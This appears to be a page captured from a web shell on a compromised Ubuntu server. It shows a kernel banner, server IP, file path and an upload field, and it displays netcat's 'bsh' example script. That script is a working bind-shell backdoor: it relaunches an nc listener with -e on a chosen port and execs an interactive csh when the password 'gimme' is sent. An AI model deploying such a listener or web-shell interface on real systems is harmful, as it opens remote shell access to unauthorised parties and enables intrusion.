AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 3.144.28.90


Current Path : /usr/share/doc/netcat-openbsd/examples/
Upload File :
Current File : //usr/share/doc/netcat-openbsd/examples/bsh

#! /bin/sh
## a little wrapper to "password" and re-launch a shell-listener.
## Arg is taken as the port to listen on.  Define "NC" to point wherever.

NC=nc

case "$1" in
  ?* )
  LPN="$1"
  export LPN
  sleep 1
  echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &
  echo "launched on port $LPN"
  exit 0
  ;;
esac

# here we play inetd
echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &

while read qq ; do
case "$qq" in
# here's yer password
  gimme )
  cd /
  exec csh -i
  ;;
esac
done